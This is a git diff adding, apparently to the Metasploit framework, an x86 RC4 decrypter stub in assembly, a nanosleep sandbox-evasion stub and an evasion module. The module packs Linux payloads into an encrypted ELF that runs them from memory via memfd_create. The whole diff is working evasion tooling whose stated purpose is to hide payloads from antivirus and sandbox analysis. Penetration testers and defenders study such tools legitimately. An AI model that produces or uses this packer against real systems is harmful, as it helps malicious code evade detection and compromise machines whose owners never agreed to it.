diff --git a/lib/msf/core/payload/linux/x86/rc4_decrypter.rb b/lib/msf/core/payload/linux/x86/rc4_decrypter.rb new file mode 100644 index 0000000000000..7ea8e5287e9dc --- /dev/null +++ b/lib/msf/core/payload/linux/x86/rc4_decrypter.rb @@ -0,0 +1,148 @@ +module Msf::Payload::Linux::X86::Rc4Decrypter + + def rc4_decrypter_stub + asm = <<-ASM +_start: + jmp _get_data_addr + +_got_data_addr: + pop ebp + + ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0) + xor eax, eax + push eax + push 0xffffffff + push 0x22 + push 7 + mov eax, dword [ebp+4] + push eax + xor eax, eax + push eax + mov al, 0x5a + mov ebx, esp + int 0x80 + add esp, 24 + push eax + + ; Allocate S-box (256 bytes) on stack + sub esp, 256 + mov edi, esp + + ; Initialize S-box: S[i] = i for i = 0..255 + xor ecx, ecx +_init_sbox: + mov byte [edi+ecx], cl + inc cl + jnz _init_sbox + + ; RC4 Key Scheduling Algorithm (KSA) + xor esi, esi + xor ebx, ebx + +_ksa_loop: + + movzx eax, byte [edi+esi] + add ebx, eax + + mov eax, esi + xor edx, edx + push ebx + mov ecx, dword [ebp] + div ecx + pop ebx + lea ecx, [ebp+12] + movzx eax, byte [ecx+edx] + add ebx, eax + and ebx, 0xff + + movzx eax, byte [edi+esi] + movzx ecx, byte [edi+ebx] + mov byte [edi+esi], cl + mov byte [edi+ebx], al + + inc esi + cmp esi, 256 + jb _ksa_loop + + ;RC4 Pseudo-Random Generation Algorithm (PRGA) + xor esi, esi + xor ebx, ebx + xor ecx, ecx + +_prga_loop: + + inc esi + and esi, 0xff + + movzx eax, byte [edi+esi] + add ebx, eax + and ebx, 0xff + + movzx eax, byte [edi+esi] + movzx edx, byte [edi+ebx] + mov byte [edi+esi], dl + mov byte [edi+ebx], al + + add eax, edx + and eax, 0xff + movzx eax, byte [edi+eax] + + push ebx + lea edx, [ebp+268] + xor al, byte [edx+ecx] + mov edx, dword [esp+260] + mov byte [edx+ecx], al + pop ebx + + inc ecx + cmp ecx, dword [ebp+8] + jb _prga_loop + + add esp, 256 ; deallocate S-box + pop eax ; eax = output buffer address + jmp eax ; jump to decrypted payload + +_get_data_addr: + call _got_data_addr + +; Data section layout (populated by rc4_decrypter): +; offset +0: key_size (4 bytes) +; offset +4: payload_size (4 bytes) +; offset +8: encrypted_size (4 bytes) +; offset +12: key_data (256 bytes) +; offset +268: encrypted_data (variable length) + ASM + + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + + def rc4_decrypter(opts = {}) + key = opts[:key] || Rex::Text.rand_text(16) + payload = opts[:data] || raise(ArgumentError, "Encrypted data required") + + encrypted_data = Rex::Crypto::Rc4.rc4(key, payload) + + stub = rc4_decrypter_stub.dup + code_size = stub.length + + key_size_offset = code_size + payload_size_offset = code_size + 4 + encrypted_size_offset = code_size + 8 + key_data_offset = code_size + 12 + encrypted_data_offset = code_size + 268 + + stub << "\x00" * 268 + + stub[key_size_offset, 4] = [key.length].pack('V') + stub[payload_size_offset, 4] = [payload.length].pack('V') + stub[encrypted_size_offset, 4] = [encrypted_data.length].pack('V') + stub[key_data_offset, 256] = key.ljust(256, "\x00") + + stub + encrypted_data + end + + def stub_size + rc4_decrypter_stub.length + 268 + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/linux/x86/sleep_evasion.rb b/lib/msf/core/payload/linux/x86/sleep_evasion.rb new file mode 100644 index 0000000000000..e9935394f1849 --- /dev/null +++ b/lib/msf/core/payload/linux/x86/sleep_evasion.rb @@ -0,0 +1,46 @@ +module Msf::Payload::Linux::X86::SleepEvasion + + STUB_SLEEP_SECONDS_OFFSET = 0x02 + + def sleep_stub + stub = "" + + # 0x00: jmp 0x12 ; jump forward to code (skip data section) + stub << [0xeb, 0x10].pack('C*') + # 0x02: timespec.tv_sec (4 bytes) ; sleep duration in seconds (patched later) + stub << "\x00\x00\x00\x00" + # 0x06: timespec.tv_nsec (4 bytes) ; nanoseconds component (always 0) + stub << "\x00\x00\x00\x00" + # 0x0a: reserved (8 bytes) ; alignment padding + stub << "\x00\x00\x00\x00\x00\x00\x00\x00" + # 0x12: call 0x17 ; push next instruction address to stack + stub << [0xe8, 0x00, 0x00, 0x00, 0x00].pack('C*') + # 0x17: pop ebx ; ebx = current EIP + stub << [0x5b].pack('C*') + # 0x18: sub ebx, 0x15 ; ebx -> timespec structure (ebx - 21 bytes) + stub << [0x83, 0xeb, 0x15].pack('C*') + # 0x1b: xor ecx, ecx ; ecx = NULL (remaining time pointer) + stub << [0x31, 0xc9].pack('C*') + # 0x1d: mov eax, 162 ; syscall number for nanosleep (0xa2) + stub << [0xb8, 0xa2, 0x00, 0x00, 0x00].pack('C*') + # 0x22: int 0x80 ; invoke syscall + stub << [0xcd, 0x80].pack('C*') + # 0x24: execution continues to appended payload + + stub + end + + def sleep_evasion(opts = {}) + seconds = opts[:seconds] || 0 + return "" if seconds == 0 + + stub = sleep_stub.dup + stub[STUB_SLEEP_SECONDS_OFFSET, 4] = [seconds].pack('V') + stub + end + + def sleep_stub_size + 36 + end + +end diff --git a/modules/evasion/linux/x86_rc4_packer.rb b/modules/evasion/linux/x86_rc4_packer.rb new file mode 100644 index 0000000000000..393f3b01e6de2 --- /dev/null +++ b/modules/evasion/linux/x86_rc4_packer.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + include Msf::Payload::Linux::X86::Rc4Decrypter + include Msf::Payload::Linux::X86::ElfLoader + include Msf::Payload::Linux::X86::SleepEvasion + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux RC4 Packer with In-Memory Execution (x86)', + 'Description' => %q{ + This evasion module packs Linux payloads using RC4 encryption + and executes them from memory using memfd_create for fileless execution. + + The evasion module works on systems with Linux Kernel > 3.17 due to memfd_create support. + + Features: + - RC4 encryption with configurable key size + - Fileless execution via memfd_create + }, + 'Author' => ['Massimo Bertocchi'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86], + 'Targets' => [['Linux x86', {}]], + 'DefaultTarget' => 0 + ) + ) + + register_options([ + OptString.new('FILENAME', [true, 'Output filename', 'payload.elf']), + OptInt.new('SLEEP_TIME', [false, 'Sleep Time for Sandbox Evasion', 0]), + ]) + end + + def run + + raw_payload = payload.encoded + unless raw_payload && raw_payload.length > 0 + fail_with(Failure::BadConfig, "Failed to generate payload") + end + + elf_payload = Msf::Util::EXE.to_linux_x86_elf(framework, raw_payload) + complete_loader = sleep_evasion( seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload)) + final_elf = Msf::Util::EXE.to_linux_x86_elf(framework, complete_loader) + + File.binwrite(datastore['FILENAME'], final_elf) + File.chmod(0755, datastore['FILENAME']) + + end +end \ No newline at end of file